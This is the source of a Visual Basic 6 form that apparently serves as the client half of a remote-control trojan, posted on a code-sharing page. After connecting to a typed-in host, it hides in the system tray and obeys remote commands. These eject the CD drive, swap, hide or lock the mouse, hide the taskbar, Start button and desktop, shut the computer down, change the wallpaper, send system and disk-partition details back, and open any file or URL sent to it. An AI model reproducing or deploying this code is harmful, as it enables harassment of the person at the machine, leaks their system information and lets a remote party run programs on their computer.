📄 form1.frm
字号:
VERSION 5.00
Object = "{248DD890-BB45-11CF-9ABC-0080C7E7B78D}#1.0#0"; "MSWINSCK.OCX"
Begin VB.Form connectform
BorderStyle = 3 'Fixed Dialog
Caption = "连接窗体"
ClientHeight = 1530
ClientLeft = 150
ClientTop = 435
ClientWidth = 3900
Icon = "Form1.frx":0000
LinkTopic = "Form1"
MaxButton = 0 'False
MinButton = 0 'False
ScaleHeight = 1530
ScaleWidth = 3900
ShowInTaskbar = 0 'False
StartUpPosition = 3 '窗口缺省
Begin VB.PictureBox pic1
Height = 615
Left = 0
Picture = "Form1.frx":08CA
ScaleHeight = 555
ScaleWidth = 555
TabIndex = 3
Top = 960
Visible = 0 'False
Width = 615
End
Begin MSWinsockLib.Winsock sckclient
Left = 840
Top = 1080
_ExtentX = 741
_ExtentY = 741
_Version = 393216
End
Begin VB.CommandButton Command1
Caption = "连接"
Default = -1 'True
Height = 375
Left = 2640
TabIndex = 2
Top = 600
Width = 975
End
Begin VB.TextBox txtip
Height = 375
Left = 360
TabIndex = 1
Top = 600
Width = 2055
End
Begin VB.Label Label1
Caption = "服务器地址:"
BeginProperty Font
Name = "宋体"
Size = 14.25
Charset = 134
Weight = 700
Underline = 0 'False
Italic = 0 'False
Strikethrough = 0 'False
EndProperty
Height = 375
Left = 360
TabIndex = 0
Top = 120
Width = 2055
End
Begin VB.Menu file
Caption = "文件"
Visible = 0 'False
Begin VB.Menu fileshow
Caption = "显示"
End
Begin VB.Menu fileabave
Caption = "关于"
End
Begin VB.Menu sendx
Caption = "发给主机消息"
End
Begin VB.Menu quit
Caption = "退出"
End
End
End
Attribute VB_Name = "connectform"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Const sBaseBar = "BaseBar"
Const sTrayWindow = "Shell_TrayWnd"
Const sTrayNotify = "TrayNotifyWnd"
Const sStartButton = "Button"
Const sAppSwitchBar = "ReBarWindow32"
Const sAppSwitch = "MSTaskSwWClass"
Const sAppIcon = "ToolbarWindow32"
Const sTrayClock = "TrayClockWClass"
Const sDesktopIcon = "ShellDll_DefView"
Const sProgman = "Progman"
Const WM_USER = &H400
Const TPM_NONOTIFY = &H80
Const SW_SHOW = 5
Const SW_HIDE = 0
Const SW_NORMAL = 1
Const SW_RESTORE = 9
Const SW_SHOWDEFAULT = 10
Const SW_SHOWNA = 8
Const SW_SHOWNOACTIVATE = 4
Const SWP_ASYNCWINDOWPOS = &H4000
Const HWND_TOP = 0
Const TBM_GETPOS = WM_USER
Public wnd As Long
Private Sub Command1_Click()
If txtip.Text = "" Then
MsgBox "请输入IP,后连接", vbInformation, "提示"
Exit Sub
Else
Command1.Enabled = False
sckclient.RemoteHost = txtip.Text
sckclient.LocalPort = 1008
sckclient.RemotePort = 1007
sckclient.Connect
End If
End Sub
Private Sub fileabave_Click()
frmAbout.Show
End Sub
Private Sub fileshow_Click()
connetzt.Show
End Sub
Private Sub Form_Load()
Me.Left = (Screen.Width - Me.Width) \ 2
Me.Top = (Screen.Height - Me.Height) \ 2
'SetWindowPos hwnd, -1, 0, 0, 0, 0, 3
End Sub
'根据不同的鼠标消息做不同的操作
Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
On Error GoTo Form_MouseMove_err:
Dim Result As Long
Dim MSG As Long
'X的值依赖与显示模式的设置
If Me.ScaleMode = vbPixels Then
MSG = x
Else
MSG = x / Screen.TwipsPerPixelX
End If
Select Case MSG
Case WM_LBUTTONUP '鼠标左键释放时的操作
Case WM_LBUTTONDBLCLK '双击鼠标左键时的操作
connetzt.Show
Case WM_RBUTTONUP '单击鼠标右键时想做的操作,通常这里弹出功能菜单
PopupMenu file
Case WM_MOUSEMOVE '鼠标移动时的操作
End Select
Exit Sub
Form_MouseMove_err: '处理异常错误
Exit Sub
End Sub
Private Sub quit_Click()
sckclient.SendData "OUITMYK"
Sleep 50
End
End Sub
Private Sub sckclient_Connect()
MsgBox "连接成功", vbInformation, "OK"
connectform.Hide
'进入托盘
With TrayData
.cbSize = Len(TrayData)
.hwnd = Me.hwnd
.uID = vbNull
.uFlags = NIF_ICON Or NIF_TIP Or NIF_MESSAGE
.uCallbackMessage = WM_MOUSEMOVE '触发鼠标移动消息
.hIcon = pic1.Picture '“托盘”中放入窗体图标,你可以把窗体的图标换成你所喜欢的图标
.szTip = "客户端" & vbNullChar
End With
Shell_NotifyIcon NIM_ADD, TrayData '调用该函数添加“托盘”
End Sub
Private Sub sckclient_DataArrival(ByVal bytesTotal As Long)
Dim sdata As String
Dim strdata As String
Dim mycommand As String
Dim sb As Long
'隐藏任务栏用
Dim x As Long
Dim StartWindow As Long
Dim ClassName As String
ClassName = Space(256)
ClassName = "Shell_TrayWnd"
StartWindow = FindWindow(ClassName, vbNullString)
wnd = FindWindow(sTrayWindow, vbNullString)
sckclient.GetData sdata
mycommand = Left$(sdata, 7)
Select Case mycommand
'消息
Case "SENDINF"
sendxx = Right$(sdata, Len(sdata) - 7)
infoform.Refresh
infoform.Show
'弹出光驱
Case "OPENCDR"
Call OpenCDDoor
'关闭光驱
Case "CLOSECD"
Call CloseCDDoor
'交换鼠标按纽
Case "CHANGEM"
SwapMouseButton (False)
'复原鼠标按纽
Case "CHANGEA"
SwapMouseButton (True)
'隐藏鼠标
Case "HIDEMOV"
sb = ShowCursor(0)
'还原鼠标
Case "APPRMOV"
sb = ShowCursor(1)
'限制鼠标
Case "NOTMOVE"
sbform.Show 1
'鼠标自由移动
Case "AUTOMOV"
clipto Screen
Unload sbform
'得到系统消息
Case "GETSYST"
strdata = sysinfo()
sckclient.SendData "SYSINFO" & strdata
'隐藏“开始”按纽
Case "HIDSTAR"
wnd = FindWindowEx(wnd, 0, sStartButton, vbNullString)
ShowWindow wnd, SW_HIDE
'显示“开始”
Case "APPSTAR"
wnd = FindWindowEx(wnd, 0, sStartButton, vbNullString)
ShowWindow wnd, SW_SHOW
'关机
Case "CLOSECU"
ExitWindowsEx EWX_SHUTDOWN, 0
'墙纸
Case "GAIBQIA"
Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, App.Path & "1.bmp", SPIF_UPDATEINIFILE)
Case "QINGCQZ"
Call SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, "", SPIF_UPDATEINIFILE)
Case "LIULANE"
strdata = Right$(sdata, Len(sdata) - 7)
Dim ret&
ret& = ShellExecute(Me.hwnd, "open", strdata, "", App.Path, 1)
'获得分区信息
Case "GETFXIF"
strdata = fxinfo()
sckclient.SendData "GETFXIF" & strdata
'隐藏任务栏
Case "HIDTASK"
ShowWindow wnd, SW_HIDE
'显示任务栏
Case "NOTHIDT"
ShowWindow wnd, SW_SHOW
'隐藏桌面
Case "HIDDISK"
wnd = FindWindow(sProgman, vbNullString)
wnd = FindWindowEx(wnd, 0, sDesktopIcon, vbNullString)
ShowWindow wnd, SW_HIDE
'恢复桌面
Case "NOHIDDI"
wnd = FindWindow(sProgman, vbNullString)
wnd = FindWindowEx(wnd, 0, sDesktopIcon, vbNullString)
ShowWindow wnd, SW_SHOW
'退出2
Case "QUITKHD"
End
End Select
End Sub
Private Sub sendx_Click()
infoform.Text1.Text = ""
infoform.Show 1
End Sub
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -